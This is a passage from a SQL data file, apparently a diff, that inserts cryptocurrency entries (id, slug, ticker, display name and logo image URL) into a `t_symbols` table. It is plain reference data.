'InsaneCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/insanecoin-insn.png', NULL); +INSERT INTO `t_symbols` VALUES (2206, 'hurify', 'HUR', 'Hurify', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hurify.png', NULL); +INSERT INTO `t_symbols` VALUES (2207, 'bitcoin-incognito', 'XBI', 'Bitcoin Incognito', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-incognito.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2208, 'heartnumber', 'HTN', 'Heart Number', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/heartnumber.png', NULL); +INSERT INTO `t_symbols` VALUES (2209, 'indorse-token', 'IND', 'Indorse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/indorse-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2210, 'evil-coin', 'EVIL', 'Evil Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evil-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2211, 'amoveo', 'VEO', 'Amoveo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amoveo.png', NULL); +INSERT INTO `t_symbols` VALUES (2212, 'huzu', 'HUZU', 'HUZU', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/huzu.png', NULL); +INSERT INTO `t_symbols` VALUES (2213, 'bee-token', 'BEE', 'Bee Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bee-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2214, 'catocoin', 'CATO', 'CatoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/catocoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2215, 'aux', 'AUX', 'Auxilium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aux.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2216, 'definer', 'FIN', 'DeFiner', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/definer.png', NULL); +INSERT INTO `t_symbols` VALUES (2217, 'ddlian', 'DANG', 'ddlian', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2218, 'usdx-wallet', 'USDX', 'USDX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usdx-wallet.png', NULL); +INSERT INTO `t_symbols` VALUES (2219, 'fundyourselfnow', 'FYN', 'FundYourselfNow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fundyourselfnow.png', NULL); +INSERT INTO `t_symbols` VALUES (2220, 'guppy', 'GUP', 'Guppy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guppy.png', NULL); +INSERT INTO `t_symbols` VALUES (2221, 'chronos', 'CRX', 'Chronos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ChronosCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2222, 'asa', 'ASA', 'Asura Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asa.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2223, 'ethereum-gold', 'ETG', 'Ethereum Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (2224, 'becenttoken', 'BCT', 'becenttoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/becenttoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2225, 'openalexa-protocol', 'OAP', 'OpenAlexa Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/openalexa-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (2226, 'lvc-trip-chains', 'LVCB', 'lvc-trip-chains', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lvc-trip-chains.png', NULL); +INSERT INTO `t_symbols` VALUES (2227, 'ethersocial', 'ESN', 'Ethersocial', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethersocial.png', NULL); +INSERT INTO `t_symbols` VALUES (2228, 'veriumreserve', 'VRM', 'VeriumReserve', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veriumreserve.png', NULL); +INSERT INTO `t_symbols` VALUES (2229, 'zilla', 'ZLA', 'Zilla', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/zillatoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2230, 'virtacoinplus', 'XVP', 'Virtacoinplus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/VirtacoinPlus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2231, 'policypal-network', 'PAL', 'Pal Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/policypal-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2232, 'hyperspace', 'XSC', 'Hyperspace', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hyperspace.png', NULL); +INSERT INTO `t_symbols` VALUES (2233, 'btrcm', 'BTRCM', 'btrcm', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2234, 'ignition', 'IC', 'Ignition', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ignition_coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2235, 'fos', 'FOS', 'fos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fos.png', NULL); +INSERT INTO `t_symbols` VALUES (2236, 'bitto-exchange', 'BITTO', 'BITTO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitto-exchange.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2237, 'vericoin', 'VRC', 'VeriCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vericoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2238, 'saketoken', 'SAKE', 'SakeToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/saketoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2239, 'ethorse', 'HORSE', 'Ethorse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/EthorseTeam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2240, 'zennies', 'ZENI', 'Zennies', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zennies.png', NULL); +INSERT INTO `t_symbols` VALUES (2241, 'aircoins', 'AIRX', 'Aircoins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aircoins.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2242, 'stk', 'STK', 'STK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stk.png', NULL); +INSERT INTO `t_symbols` VALUES (2243, 'xmm', 'XMM', 'xmm', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2244, 'ggc', 'GGC', 'GramGold Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ggc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2245, 'pub', 'PUB', 'PUBLYTO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pub.png', NULL); +INSERT INTO `t_symbols` VALUES (2246, 'zos', 'ZOS', 'zos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zos.png', NULL); +INSERT INTO `t_symbols` VALUES (2247, 'proton-token', 'PTT', 'Proton Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proton-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2248, 'formation-fi', 'FORM', 'Formation Fi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/formation-fi.png', NULL); +INSERT INTO `t_symbols` VALUES (2249, 'narrative', 'NRVE', 'Narrative', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/narrative.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2250, 'piggycoin', 'PIGGY', 'Piggycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/piggycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2251, 'cpu', 'CPU', 'cpu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cpu.png', NULL); +INSERT INTO `t_symbols` VALUES (2252, 'the-midas-touch-gold', 'TMTG', 'The Midas Touch Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-midas-touch-gold.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2253, 'phi-token', 'PHI', 'PHI Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phi-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2254, 'lqd', 'LQD', 'Liquidity Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lqd.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2255, 'golos-gold', 'GBG', 'Golos Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golos-gold.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2256, 'eds', 'EDS', 'EDS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eds.png', NULL); +INSERT INTO `t_symbols` VALUES (2257, 'popchain', 'PCH', 'POPCHAIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/popchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2258, 'dmmgovernance', 'DMG', 'DMM: Governance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dmmgovernance.png', NULL); +INSERT INTO `t_symbols` VALUES (2259, 'ig', 'IG', 'IGT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ig.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2260, 'the-global-index-chain', 'TGIC', 'The global index chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-global-index-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2261, 'bitradio', 'BRO', 'Bitradio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/bitrad_io.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2262, 'datum', 'DAT', 'Datum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datum.png', NULL); +INSERT INTO `t_symbols` VALUES (2263, 'eroscoin', 'ERO', 'Eroscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eroscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2264, 'open-trading-network', 'OTN', 'Open Trading Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/open-trading-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2265, 'zat', 'ZAT', 'ZatGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zat.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2266, 'feirm', 'XFE', 'FEIRM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/feirm.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2267, 'hoqu', 'HQX', 'HOQU', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hoqu.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2268, 'tokendesk', 'TDS', 'TokenDesk', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokendesk.png', NULL); +INSERT INTO `t_symbols` VALUES (2269, 'novusphere', 'ATMOS', 'Atmos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/novusphere.png', NULL); +INSERT INTO `t_symbols` VALUES (2270, 'datarius-credit', 'DTRC', 'Datarius Credit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datarius-credit.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2271, 'centric', 'CNS', 'Centric Swap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/centric.png', NULL); +INSERT INTO `t_symbols` VALUES (2272, 'bitdegree', 'BDG', 'BitDegree', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitdegree.png', NULL); +INSERT INTO `t_symbols` VALUES (2273, 'payfair', 'PFR', 'Payfair', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/payfair.png', NULL); +INSERT INTO `t_symbols` VALUES (2274, 'verso-token', 'VSO', 'Verso', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verso-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2275, 'substratum', 'SUB', 'Substratum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/substratum.png', NULL); +INSERT INTO `t_symbols` VALUES (2276, 'esports-token', 'EST', 'Esports Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/esports-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2277, 'sovranocoin', 'SVR', 'SovranoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sovranocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2278, 'tripio', 'TRIO', 'Tripio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tripio.png', NULL); +INSERT INTO `t_symbols` VALUES (2279, 'leekico', 'LEEK', 'leekico', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/leekico.png', NULL); +INSERT INTO `t_symbols` VALUES (2280, 'spindle', 'SPD', 'SPINDLE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spindle.png', NULL); +INSERT INTO `t_symbols` VALUES (2281, 'pluracoin', 'PLURA', 'PluraCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pluracoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2282, 'theparallel', 'PRL', 'The Parallel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/theparallel.png', NULL); +INSERT INTO `t_symbols` VALUES (2283, 'oin-finance', 'OIN', 'OIN Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oin-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2284, 'vulcano', 'QUO', 'Quoxent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vulcano.png', NULL); +INSERT INTO `t_symbols` VALUES (2285, 'italo', 'XTA', 'Italo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/italo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2286, 'vsync-vsx', 'VSX', 'Vsync', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/VsyncCrypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2287, 'kit', 'KIT', 'Kittoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kit.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2288, 'soda-coin', 'SOC', 'SODA Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/soda-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2289, 'bowhead', 'AHT', 'Bowhead Health', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/bowheadhealth.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2290, 'trvc', 'TRVC', 'TriveChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trvc.png', NULL); +INSERT INTO `t_symbols` VALUES (2291, 'fantasygold', 'FGC', 'FantasyGold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fantasygold.png', NULL); +INSERT INTO `t_symbols` VALUES (2292, 'clams', 'CLAM', 'Clams', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clams.png', NULL); +INSERT INTO `t_symbols` VALUES (2293, 'dacash', 'DAC', 'DACash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dacash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2294, 'natmin', 'NAT', 'Natmin Pure Escrow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/natmin.png', NULL); +INSERT INTO `t_symbols` VALUES (2295, 'agrello-delta', 'DLT', 'Agrello', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/agrello-delta.png', NULL); +INSERT INTO `t_symbols` VALUES (2296, 'degis', 'DEG', 'Degis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/degis.png', NULL); +INSERT INTO `t_symbols` VALUES (2297, 'remme', 'REM', 'Remme', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/remme.png', NULL); +INSERT INTO `t_symbols` VALUES (2298, 'noah-coin', 'NOAHP', 'Noah Decentralized State Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/noah-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2299, 'cryptosoul', 'SOUL', 'CryptoSoul', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptosoul.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2300, 'energycoin', 'ENRG', 'Energycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/energycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2301, 'at', 'AT', 'ABCC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/at.png', NULL); +INSERT INTO `t_symbols` VALUES (2302, 'adzcoin', 'ADZ', 'Adzcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adzcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2303, 'signaturechain', 'SIGN', 'SignatureChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/signaturechain.png', NULL); +INSERT INTO `t_symbols` VALUES (2304, 'niobium-coin', 'NBC', 'Niobium Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/niobium-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2305, 'zebi', 'ZCO', 'Zebi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zebi.png', NULL); +INSERT INTO `t_symbols` VALUES (2306, 'ethereumcash', 'ECASH', 'Ethereum Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereumcash.png', NULL); +INSERT INTO `t_symbols` VALUES (2307, 'sentinel-chain', 'SENC', 'Sentinel Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sentinel-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2308, 'delion', 'DLN', 'Delion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/delion.png', NULL); +INSERT INTO `t_symbols` VALUES (2309, 'swap', 'XWP', 'Swap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swap.png', NULL); +INSERT INTO `t_symbols` VALUES (2310, 'noblecoin', 'NOBL', 'NobleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/noblecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2311, 'indahash', 'IDH', 'indaHash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/indahash.png', NULL); +INSERT INTO `t_symbols` VALUES (2312, 'you-chain', 'YOU', 'YOU Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/you-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2313, 'cryptoads-marketplace', 'CRAD', 'CryptoAds Marketplace', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptoads-marketplace.png', NULL); +INSERT INTO `t_symbols` VALUES (2314, 'zinc', 'ZINC', 'ZINC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zinc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2315, 'ubricoin', 'UBN', 'Ubricoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ubricoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2316, 'wabi', 'WABI', 'Wabi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wabi.png', NULL); +INSERT INTO `t_symbols` VALUES (2317, 'bige', 'BIGE', 'bige', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bige.png', NULL); +INSERT INTO `t_symbols` VALUES (2318, 'trust', 'TRST', 'WeTrust', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trust.png', NULL); +INSERT INTO `t_symbols` VALUES (2319, 'ambercoin', 'AMBER', 'AmberCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/AmberTradeLTD.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2320, 'empty-set-dollar', 'ESD', 'Empty Set Dollar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/empty-set-dollar.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2321, 'hypnoxys', 'HYPX', 'HYPNOXYS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hypnoxys.png', NULL); +INSERT INTO `t_symbols` VALUES (2322, 'fres', 'FRES', 'fres', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fres.png', NULL); +INSERT INTO `t_symbols` VALUES (2323, 'primas', 'PST', 'Primas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/primas.png', NULL); +INSERT INTO `t_symbols` VALUES (2324, 'btec-token', 'BT', 'btec-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btec-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2325, 'pigx', 'PIGX', 'PIGX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pigx.png', NULL); +INSERT INTO `t_symbols` VALUES (2326, 'wealth-from-health-chain', 'WHC', 'wealth-from-health-chain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2327, 'yieldwars', 'WAR', 'YieldWars', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yieldwars.png', NULL); +INSERT INTO `t_symbols` VALUES (2328, 'aditus', 'ADI', 'Aditus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aditus.png', NULL); +INSERT INTO `t_symbols` VALUES (2329, 'bptn', 'BPTN', 'Bit Public Talent Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bptn.png', NULL); +INSERT INTO `t_symbols` VALUES (2330, 'paymon', 'PMNT', 'Paymon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paymon.png', NULL); +INSERT INTO `t_symbols` VALUES (2331, 'the-champcoin', 'TCC', 'The ChampCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-champcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2332, 'coni', 'CONI', 'Coni', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coni.png', NULL); +INSERT INTO `t_symbols` VALUES (2333, 'food', 'FOOD', 'FoodCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/food.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2334, 'adhive', 'ADH', 'AdHive', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adhive.png', NULL); +INSERT INTO `t_symbols` VALUES (2335, 'nyerium', 'NYEX', 'Nyerium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nyerium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2336, 'wecc', 'WECC', 'WECC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wecc.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2337, 'globex', 'GEX', 'GLOBEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/globex.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2338, 'croat', 'CROAT', 'CROAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/croat.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2339, 'cichain', 'CIC', 'Cloud-Insurance Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cichain.png', NULL); +INSERT INTO `t_symbols` VALUES (2340, 'gentarium', 'GTM', 'Gentarium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gentarium.png', NULL); +INSERT INTO `t_symbols` VALUES (2341, 'playcoin-erc20', 'PLX', 'PlayX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playcoin-erc20.png', NULL); +INSERT INTO `t_symbols` VALUES (2342, 'fnb-protocol', 'FNB', 'FNB Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fnb.png', NULL); +INSERT INTO `t_symbols` VALUES (2343, 'bishen', 'BIT', 'bishen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bishen.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2344, 'italian-lira', 'ITL', 'Italian Lira', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/italian-lira.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2345, 'funtime-coin', 'FUNC', 'FunTime Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/funtime-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2346, 'pundi-x-nem', 'NPXSXEM', 'Pundi X NEM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pundi-x-nem.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2347, 'triangles', 'TRI', 'Triangles', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/triangles.png', NULL); +INSERT INTO `t_symbols` VALUES (2348, 'joulecoin', 'XJO', 'Joulecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joulecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2349, 'origo', 'OGO', 'Origo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origo.png', NULL); +INSERT INTO `t_symbols` VALUES (2350, 'bomb', 'BOMB', 'BOMB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bomb.png', NULL); +INSERT INTO `t_symbols` VALUES (2351, 'wys-token', 'WYS', 'Wysker Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wys-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2352, 'px', 'PX', 'PX', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2353, 'coinsuper-ecosystem-network', 'CEN', 'Coinsuper Ecosystem Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinsuper-ecosystem-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2354, 'teloscoin', 'TELOS', 'Teloscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/teloscoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2355, 'gravity', 'GZRO', 'Gravity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gravity.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2356, 'digipulse', 'DGPT', 'DigiPulse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digipulse.png', NULL); +INSERT INTO `t_symbols` VALUES (2357, 'ifood', 'IFOOD', 'Ifoods Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ifood.png', NULL); +INSERT INTO `t_symbols` VALUES (2358, 'wrb', 'WRB', 'wrb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrb.png', NULL); +INSERT INTO `t_symbols` VALUES (2359, 'daxxcoin', 'DAXX', 'Daxxcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/daxxcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2360, 'ormeus-ecosystem', 'ECO', 'Ormeus Ecosystem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ormeus-ecosystem.png', NULL); +INSERT INTO `t_symbols` VALUES (2361, 'artx', 'ARTX', 'ARTX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artx.png', NULL); +INSERT INTO `t_symbols` VALUES (2362, 'ace', 'ACE', 'TokenStars', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ace.png', NULL); +INSERT INTO `t_symbols` VALUES (2363, 'smartcoin', 'SMC', 'SmartCoin (SMC)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2364, 'usdq', 'USDQ', 'USDQ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usdq.png', NULL); +INSERT INTO `t_symbols` VALUES (2365, 'know-your-developer', 'KYDC', 'Know Your Developer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/know-your-developer.png', NULL); +INSERT INTO `t_symbols` VALUES (2366, 'novacoin', 'NVC', 'Novacoin', 